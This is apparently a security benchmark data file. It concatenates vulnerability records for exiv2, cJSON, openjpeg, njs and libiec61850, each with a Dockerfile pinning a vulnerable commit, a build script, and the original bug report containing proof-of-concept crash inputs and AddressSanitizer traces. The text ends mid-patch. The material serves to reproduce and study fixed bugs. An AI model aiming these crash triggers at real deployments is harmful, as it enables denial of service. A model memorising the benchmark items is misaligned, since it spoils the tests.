Jan Grulich 2019-01-28 16:08:27 UTC Fixed with exiv2-0.27.0-1.el7_6. --- Comment 9 errata-xmlrpc 2019-08-06 12:46:47 UTC Since the problem described in this bug report should be resolved in a recent advisory, it has been closed with a resolution of ERRATA. For information on the advisory, and where to find the updated files, follow the link below. If the solution does not work for you, open a new bug report. https://access.redhat.com/errata/RHSA-2019:2101 Attachments: Attachment 1298133: Triggered by "./exiv2 $POC" [Link: https://bugzilla.redhat.com/attachment.cgi?id=1298133]
[]
[ { "sha": "751905ccdef9f17862666dfcb83912c3d9b1ed69", "url": "https://github.com/Exiv2/exiv2/commit/751905ccdef9f17862666dfcb83912c3d9b1ed69" }, { "sha": "751312f9aaa7b82b9e8f04326f10fc486e2c8446", "url": "https://github.com/Exiv2/exiv2/commit/751312f9aaa7b82b9e8f04326f10fc486e2c8446" }, { "sha": "fae97626238c621ff55d1d97b52dba78a6e80d26", "url": "https://github.com/dirkmueller/exiv2/commit/fae97626238c621ff55d1d97b52dba78a6e80d26" }, { "sha": "c037d7377bc7bd63acc3f240101ff44002d19027", "url": "https://github.com/Exiv2/exiv2/commit/c037d7377bc7bd63acc3f240101ff44002d19027" }, { "sha": "7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5", "url": "https://github.com/Exiv2/exiv2/commit/7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5" }, { "sha": "1e07c98dfcbd8ac10ee02088f08235f5e1700148", "url": "https://github.com/Exiv2/exiv2/commit/1e07c98dfcbd8ac10ee02088f08235f5e1700148" }, { "sha": "c90991cbdc9c170171965ea0e4bf697c22b3f1f0", "url": "https://github.com/Exiv2/exiv2/commit/c90991cbdc9c170171965ea0e4bf697c22b3f1f0" }, { "sha": "79d814c722a8f03931cea2b5447a7a11fe26f2c3", "url": "https://github.com/Exiv2/exiv2/commit/79d814c722a8f03931cea2b5447a7a11fe26f2c3" }, { "sha": "1f1715c086d8dcdf5165b19164af9aee7aa12e98", "url": "https://github.com/Exiv2/exiv2/commit/1f1715c086d8dcdf5165b19164af9aee7aa12e98" }, { "sha": "6ede8aa1975177705450abb816163f0b8d33a597", "url": "https://github.com/Exiv2/exiv2/commit/6ede8aa1975177705450abb816163f0b8d33a597" }, { "sha": "fd3711f91b842a9f4ed6e074e97888eb75ed0aa3", "url": "https://github.com/Exiv2/exiv2/commit/fd3711f91b842a9f4ed6e074e97888eb75ed0aa3" }, { "sha": "da67c16f3d8f8431ae5c732126499f74ccca6a81", "url": "https://github.com/Exiv2/exiv2/commit/da67c16f3d8f8431ae5c732126499f74ccca6a81" }, { "sha": "d4e4288d839d0d9546a05986771f8738c382060c", "url": "https://github.com/Exiv2/exiv2/commit/d4e4288d839d0d9546a05986771f8738c382060c" }, { "sha": "c2c9fab580f8d6ea237718ad63921cde1d8980f7", "url": "https://github.com/Exiv2/exiv2/commit/c2c9fab580f8d6ea237718ad63921cde1d8980f7" }, { "sha": "74cb5bab132ed76adf15df172c5e8b58cddaa96c", "url": "https://github.com/Exiv2/exiv2/commit/74cb5bab132ed76adf15df172c5e8b58cddaa96c" } ]
cjson.cve-2016-10749
davegamble/cjson
3a7bd6924a67c301b8811f521de6ed07c7cf0c3c
2016-05-29T12:16:19
cjson
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake RUN git clone https://github.com/davegamble/cjson cjson RUN git -C cjson checkout 3a7bd6924a67c301b8811f521de6ed07c7cf0c3c WORKDIR $SRC/cjson COPY build.sh $SRC/
#!/bin/bash # Default build script template for C/C++ projects set -eu # Define configuration options CONFIG_OPTS="--disable-shared" CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug" MAKE_OPTS="-j$(nproc)" BUILD_DIR="build" # 1. Run build preparation scripts if they exist for prep_script in buildconf autogen.sh bootstrap; do if [ -x "$prep_script" ]; then echo "Running $prep_script..." ./$prep_script break elif [ -f "$prep_script" ]; then echo "Found $prep_script but it's not executable, setting permissions..." chmod +x $prep_script ./$prep_script break fi done # 2. Handle different build systems if [ -f "configure" ]; then echo "Found configure script, running with options: $CONFIG_OPTS" ./configure $CONFIG_OPTS echo "Building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "CMakeLists.txt" ]; then echo "Found CMakeLists.txt, using CMake build system" mkdir -p $BUILD_DIR cd $BUILD_DIR cmake $CMAKE_OPTS .. make $MAKE_OPTS elif [ -f "Makefile" ] || [ -f "makefile" ]; then echo "Found Makefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "meson.build" ]; then echo "Found meson.build, using Meson build system" mkdir -p $BUILD_DIR meson setup $BUILD_DIR . cd $BUILD_DIR ninja elif [ -f "GNUmakefile" ]; then echo "Found GNUmakefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -d ".git" ] && [ -f "Makefile.am" ]; then echo "Found Makefile.am, running autoreconf" autoreconf -i ./configure $CONFIG_OPTS make $MAKE_OPTS else echo "WARNING: No recognized build system found!" echo "Trying generic approach:" # Try to detect common source patterns and compile them if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then echo "Found C/C++ source files, attempting direct compilation" if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then CXX=${CXX:-g++} echo "Compiling C++ sources with $CXX" $CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true elif ls *.c >/dev/null 2>&1; then CC=${CC:-gcc} echo "Compiling C sources with $CC" $CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true fi fi fi
/src/cjson
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/DaveGamble/cJSON/issues/30 ## Description: Issue: DaveGamble/cJSON#30 Title: cJSON buffer overflow with odd formatted JSON string State: closed Created by: marcograss Created at: 2016-10-01 08:19:37+00:00 Labels: bug, security Issue Body: Hi, I would like to report a buffer overflow in cJSON, you can test this PoC with a ODD string ``` #include <stdio.h> #include <stdint.h> #include <fcntl.h> #include "cJSON.h" static const char *my_json = "\"000000000000000000\\"; int main(int argc, const char * argv[]) { cJSON * root = cJSON_Parse(my_json); char * rendered = cJSON_Print(root); printf("%s\n", rendered); return 0; } ``` building it with ASAN will trigger a out of bound on the input string, which it can be problematic since in lot of use cases the JSON input to applications using cJSON is untrusted. Thanks Marco > # > > ==72479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0001000138d5 at pc 0x0001000062fb bp 0x7fff5fbff2a0 sp 0x7fff5fbff298 > READ of size 1 at 0x0001000138d5 thread T0 > #0 0x1000062fa in parse_string cJSON.c:198 > #1 0x100001a01 in parse_value cJSON.c:366 > #2 0x1000015bb in cJSON_ParseWithOpts cJSON.c:334 > #3 0x100001dfa in cJSON_Parse cJSON.c:343 > #4 0x10000e481 in main main.c:17 > #5 0x7fff834bb5ac in start (libdyld.dylib+0x35ac) > > 0x0001000138d5 is located 0 bytes to the right of global variable '<string literal>' defined in '/Users/marco/Downloads/cjsontest/cjsontest/main.c:14:30' (0x1000138c0) of size 21 > '<string literal>' is ascii string '"000000000000000000\' > SUMMARY: AddressSanitizer: global-buffer-overflow cJSON.c:198 in parse_string > Shadow bytes around the buggy address: > 0x1000200026c0: 02 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9 > 0x1000200026d0: 05 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9 > 0x1000200026e0: 03 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9 > 0x1000200026f0: 00 f9 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 > 0x100020002700: 03 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 > =>0x100020002710: 04 f9 f9 f9 f9 f9 f9 f9 00 00[05]f9 f9 f9 f9 f9 > 0x100020002720: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9 > 0x100020002730: 06 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9 > 0x100020002740: 05 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 > 0x100020002750: 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 > 0x100020002760: 05 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 > Shadow byte legend (one shadow byte represents 8 application bytes): > Addressable: 00 > Partially addressable: 01 02 03 04 05 06 07 > Heap left redzone: fa > Heap right redzone: fb > Freed heap region: fd > Stack left redzone: f1 > Stack mid redzone: f2 > Stack right redzone: f3 > Stack partial redzone: f4 > Stack after return: f5 > Stack use after scope: f8 > Global redzone: f9 > Global init order: f6 > Poisoned by user: f7 > Container overflow: fc > Array cookie: ac > Intra object redzone: bb > ASan internal: fe > Left alloca redzone: ca > Right alloca redzone: cb > ==72479==ABORTING Comments: Comment by FSMaxB on 2016-10-02 11:38:49+00:00: I can confirm this. Looking into it right now. --- Comment by FSMaxB on 2016-10-02 11:58:51+00:00: Fixed via 94df772 --- Comment by fgeek on 2016-11-07 09:04:41+00:00: CVE request: http://www.openwall.com/lists/oss-security/2016/11/07/2
[]
[ { "sha": "94df772485c92866ca417d92137747b2e3b0a917", "url": "https://github.com/DaveGamble/cJSON/commit/94df772485c92866ca417d92137747b2e3b0a917" }, { "sha": "48b390994642e59eb1a461922a646b4c6544693c", "url": "https://github.com/DaveGamble/cJSON/commit/48b390994642e59eb1a461922a646b4c6544693c" } ]
openjpeg.cve-2017-14164
uclouvain/openjpeg
af760007711bf93041d3eba3a41b9a48d365f303
2017-08-16T06:36:52
openjpeg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make cmake g++ RUN git clone https://github.com/uclouvain/openjpeg openjpeg RUN git -C openjpeg checkout af760007711bf93041d3eba3a41b9a48d365f303 WORKDIR $SRC/openjpeg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. make clean -s -j$(nproc) make -j$(nproc) -s
/src/openjpeg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/uclouvain/openjpeg/issues/991 ## Description: Issue: uclouvain/openjpeg#991 Title: heap-based buffer overflow in opj_write_bytes_LE (cio.c) (unfixed #985) State: closed Created by: asarubbo Created at: 2017-08-16 14:30:54+00:00 Issue Body: On master: ``` # opj_compress -r 20,10,1 -jpip -EPH -SOP -cinema2K 24 -n 1 -i $FILE -o null.j2k TIFFReadDirectoryCheckOrder: Warning, Invalid TIFF directory; tags are not sorted in ascending order. TIFFReadDirectory: Warning, Unknown field with tag 6376 (0x18e8) encountered. TIFFReadDirectory: Warning, Unknown field with tag 27154 (0x6a12) encountered. TIFFReadDirectory: Warning, Unknown field with tag 32512 (0x7f00) encountered. TIFFReadDirectory: Warning, Unknown field with tag 15163 (0x3b3b) encountered. TIFFFetchNormalTag: Warning, Sanity check on size of "Tag 6376" value failed; tag ignored. TIFFFetchNormalTag: Warning, Incorrect count for "FillOrder"; tag ignored. TIFFReadDirectory: Warning, TIFF directory is missing required "StripByteCounts" field, calculating from imagelength. ================================================================= ==62004==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000000b6 at pc 0x7fd4d46ef89a bp 0x7ffc068d7070 sp 0x7ffc068d7068 WRITE of size 1 at 0x6060000000b6 thread T0 #0 0x7fd4d46ef899 in opj_write_bytes_LE /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/cio.c:67:23 #1 0x7fd4d4736bef in opj_j2k_write_sot /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:4225:5 #2 0x7fd4d4736bef in opj_j2k_write_all_tile_parts /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:11575 #3 0x7fd4d4736bef in opj_j2k_post_write_tile /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:11287 #4 0x7fd4d473545d in opj_j2k_encode /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:11028:15 #5 0x7fd4d47802f8 in opj_encode /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/openjpeg.c:775:20 #6 0x50b942 in main /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/bin/jp2/opj_compress.c:1993:36 #7 0x7fd4d3117680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289 #8 0x41bc18 in _start (/usr/bin/opj_compress+0x41bc18) 0x6060000000b6 is located 0 bytes to the right of 54-byte region [0x606000000080,0x6060000000b6) allocated by thread T0 here: #0 0x4d15c8 in malloc /var/tmp/portage/sys-libs/compiler-rt-sanitizers-4.0.1/work/compiler-rt-4.0.1.src/lib/asan/asan_malloc_linux.cc:66 #1 0x7fd4d482be29 in opj_malloc /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/opj_malloc.c:196:12 #2 0x7fd4d4762760 in opj_j2k_update_rates /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:5157:22 #3 0x7fd4d473937f in opj_j2k_exec /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:7954:33 #4 0x7fd4d473937f in opj_j2k_start_compress /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/j2k.c:11103 #5 0x7fd4d478019c in opj_start_compress /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/openjpeg.c:758:20 #6 0x50b90f in main /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/bin/jp2/opj_compress.c:1970:20 #7 0x7fd4d3117680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289 SUMMARY: AddressSanitizer: heap-buffer-overflow /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/lib/openjp2/cio.c:67:23 in opj_write_bytes_LE Shadow bytes around the buggy address: 0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff8000: fa fa fa fa 00 00 00 00 00 00 07 fa fa fa fa fa =>0x0c0c7fff8010: 00 00 00 00 00 00[06]fa fa fa fa fa 00 00 00 00 0x0c0c7fff8020: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c0c7fff8030: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8040: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 0x0c0c7fff8050: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c0c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==62004==ABORTING CINEMA 2K profile activated Other options specified could be overridden [WARNING] JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires: 1 single quality layer-> Number of layers forced to 1 (rather than 3) -> Rate of the last layer (1.0) will be used[INFO] tile number 1 / 1 ``` Testcase: https://github.com/asarubbo/poc/blob/master/00321-openjpeg-heapoverflow-opj_write_bytes_LE Comments: Comment by rshariffdeen on 2018-11-20 06:37:40+00:00: CVE-2017-14164 has been assigned
[]
[ { "sha": "dcac91b8c72f743bda7dbfa9032356bc8110098a", "url": "https://github.com/uclouvain/openjpeg/commit/dcac91b8c72f743bda7dbfa9032356bc8110098a" } ]
njs.cve-2022-28049
nginx/njs
ad48705bf1f04b4221a5f5b07715ac48b3160d53
2022-02-21T10:52:59
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout ad48705bf1f04b4221a5f5b07715ac48b3160d53 WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/473 ## Description: Issue: nginx/njs#473 Title: Null pointer dereference in src/njs_vmcode.c:1049:17 State: closed Created by: andreafioraldi Created at: 2022-02-17 15:51:14+00:00 Labels: bug, fuzzer Issue Body: Hi, this bug was found by fuzzing the current master branch, to reproduce build the OSS-Fuzz harness with ASan and UBSan. The bug is a write to a NULL pointer, this is the sanitizer report: ``` INFO: Seed: 2125423890 INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066), INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8), /out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each. Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856 src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s') SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0) ==1324882==The signal is caused by a WRITE memory access. ==1324882==Hint: address points to the zero page. #0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17 #1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23 #2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11 #3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e) #4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759) #5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39) #6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49) #7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952) #8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2) #9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array ==1324882==ABORTING ``` I attach the crashing testcase in a tar.gz, you can run it simply giving the testcase as first argument to the harness. [id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856.tar.gz](https://github.com/nginx/njs/files/8090085/id.000002.sig.06.src.001260%2B005121.time.65254059.op.splice.rep.2.trial.1496856.tar.gz) Attachments: https://github.com/nginx/njs/files/8090085/id.000002.sig.06.src.001260%2B005121.time.65254059.op.splice.rep.2.trial.1496856.tar.gz
[]
[ { "sha": "f65981b0b8fcf02d69a40bc934803c25c9f607ab", "url": "https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab" } ]
libiec61850.cve-2018-19122
mz-automation/libiec61850
6ba363bd4a4803dfb194733a9729ad421d6b49f0
2018-09-04T08:01:19
libiec61850
c++
FROM hwiwonlee/secb.base:latest RUN git clone https://github.com/mz-automation/libiec61850 libiec61850 RUN git -C libiec61850 checkout 6ba363bd4a4803dfb194733a9729ad421d6b49f0 WORKDIR $SRC/libiec61850 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build && cd build cmake ../ make -j$(nproc)
/src/libiec61850
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/mz-automation/libiec61850/issues/86 ## Description: Issue: mz-automation/libiec61850#86 Title: SEGV in function Ethernet_sendPacket State: open Created by: fouzhe Created at: 2018-11-08 15:41:19+00:00 Issue Body: I built **[libiec61850](https://github.com/mz-automation/libiec61850)** in **macOS 10.12.6** with **AddressSanitizer**(`export CFLAGS="-g -fsanitize=address" CXXFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address"` before `make`). I ran the `sv_publisher` in directory `libiec61850/examples/sv_publisher` by command `sudo ./sv_publisher`, however, there is a `SEGV` in function `Ethernet_sendPacket` in `ethernet_bsd.c` when the selected interface is unable. Here is output with ASAN information: ``` Using interface eth0 Could not find the network interface eth0!Unable to select interface eth0! ASAN:DEADLYSIGNAL ================================================================= ==77056==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0x0004e3bd bp 0xbffe6a18 sp 0xbffe69e0 T0) ==77056==The signal is caused by a READ memory access. ==77056==Hint: address points to the zero page. #0 0x4e3bc in Ethernet_sendPacket ethernet_bsd.c:416 #1 0x4500c in SVPublisher_publish sv_publisher.c:488 #2 0x1acc7 in main sv_publisher_example.c:70 #3 0xa1541394 in start (libdyld.dylib:i386+0x5394) ==77056==Register values: eax = 0x00000000 ebx = 0x00000000 ecx = 0x20000000 edx = 0x00000000 edi = 0x00000000 esi = 0x02f03880 ebp = 0xbffe6a18 esp = 0xbffe69e0 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ethernet_bsd.c:416 in Ethernet_sendPacket ==77056==ABORTING Abort trap: 6 ``` Comments: Comment by mzillgith on 2018-11-15 16:12:28+00:00: Reason is an invalid interface id given at the command line or in general by the user application as an input for the Ethernet_create function. For now the library user has to ensure to provide a correct interface ID. Library side error handling will be added in version 1.4.
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_decode.options" } ]
[]
njs.cve-2022-38890
nginx/njs
6af74b6c5e120595e11df74ca8749021e5f2a7e1
2022-08-29T23:18:20
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout 6af74b6c5e120595e11df74ca8749021e5f2a7e1 WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/569 ## Description: Issue: nginx/njs#569 Title: Another way to trigger SEGV in njs_utf8_next cause oob read State: closed Created by: ret2ddme Created at: 2022-08-25 02:58:03+00:00 Labels: bug, fuzzer Issue Body: the call stack is different with https://github.com/nginx/njs/issues/522 ``` Environment commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87 version: 0.7.7 Build : ./configure --cc=clang --address-sanitizer=YES make ``` Poc ```js function placeholder(){} function main() { var v2 = String.fromCharCode(-950135168); var v3 = v2.trimEnd(String); var v8 = 512 >>> "multiline"; var v9 = String.fromCharCode(788580.490736339); var v10 = v9.padEnd(v8,v3); var v11 = v10.lastIndexOf(788580.490736339); } main(); ``` Asan ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0) ==1550478==The signal is caused by a READ memory access. #0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20 #1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17 #2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13 #3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11 #4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11 #6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11 #8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19 #9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11 #10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15 #11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next ==1550478==ABORTING ``` Credit ret2ddme Comments: Comment by ret2ddme on 2022-08-25 14:10:05+00:00: ## Analysis The root case is ```c const u_char * njs_string_offset(const u_char *start, const u_char *end, size_t index) { uint32_t *map; njs_uint_t skip; if (index >= NJS_STRING_MAP_STRIDE) { map = njs_string_map_start(end); [1]<--- create and init map if (map[0] == 0) { njs_string_offset_map_init(start, end - start); [2]<----- calculate some value and assign to map } start += map[index / NJS_STRING_MAP_STRIDE - 1]; [3]<------- add map with start, **access array without check index** } for (skip = index % NJS_STRING_MAP_STRIDE; skip != 0; skip--) { start = njs_utf8_next(start, end); [4] <----- crash here } return start; } ``` We can control `index` to be a large number just like 0x1f0 in `poc`. After `njs_string_map_start` the map is ```sh pwndbg> p map $37 = (uint32_t *) 0x617000002214 pwndbg> x/20gx 0x617000002214 0x617000002214: 0xbebebebe00000000 0xbebebebebebebebe 0x617000002224: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe 0x617000002254: 0x0000004000006100 0x000004a000006100 0x617000002264: 0xbebe020100006190 0x0000200000000250 0x617000002274: 0x0000000000006170 0x0000000000000000 0x617000002284: 0x0000000000000000 0x0000000000000000 0x617000002294: 0x0000000000000000 0x0000000000000000 0x6170000022a4: 0x0000000000000000 0x0000000000000000 ``` And after some process of `njs_string_offset_map_init` func, the map size is 5 ```sh pwndbg> p map $36 = (uint32_t *) 0x617000002214 pwndbg> x/20gx 0x617000002214 0x617000002214: 0x000000c000000060 0x0000018000000120 0x617000002224: 0xbebebebe000001e0 0xbebebebebebebebe 0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe 0x617000002254: 0x0000004000006100 0x000004a000006100 0x617000002264: 0xbebe020100006190 0x0000200000000250 0x617000002274: 0x0000000000006170 0x0000000000000000 0x617000002284: 0x0000000000000000 0x0000000000000000 0x617000002294: 0x0000000000000000 0x0000000000000000 0x6170000022a4: 0x0000000000000000 0x0000000000000000 ``` `NJS_STRING_MAP_STRIDE` is 32, which set in `njs_string.h`. Then `index / NJS_STRING_MAP_STRIDE - 1` large than the size of `map` cause oob read. In poc `map[index / NJS_STRING_MAP_STRIDE - 1]` get `0xbebebebe` then crash --- Comment by ret2ddme on 2022-08-25 15:00:44+00:00: ## Demo patch ```diff diff --git a/src/njs_string.c b/src/njs_string.c index 83cede5..8b3a31e 100644 --- a/src/njs_string.c +++ b/src/njs_string.c @@ -2307,7 +2307,10 @@ njs_string_prototype_last_index_of(njs_vm_t *vm, njs_value_t *args, } p = njs_string_offset(string.start, end, index); - + if (p == (u_char*)NJS_ERROR) { + njs_error(vm, "index too large"); + return NJS_ERROR; + } for (; p >= string.start; p = njs_utf8_prev(p)) { if ((p + s.size) <= end && memcmp(p, s.start, s.size) == 0) { goto done; @@ -2530,14 +2533,16 @@ njs_string_offset(const u_char *start, const u_char *end, size_t index) { uint32_t *map; njs_uint_t skip; - + njs_uint_t size = 0; if (index >= NJS_STRING_MAP_STRIDE) { map = njs_string_map_start(end); if (map[0] == 0) { - njs_string_offset_map_init(start, end - start); + size = njs_string_offset_map_init(start, end - start); + } + if((index / NJS_STRING_MAP_STRIDE) > size){ + return 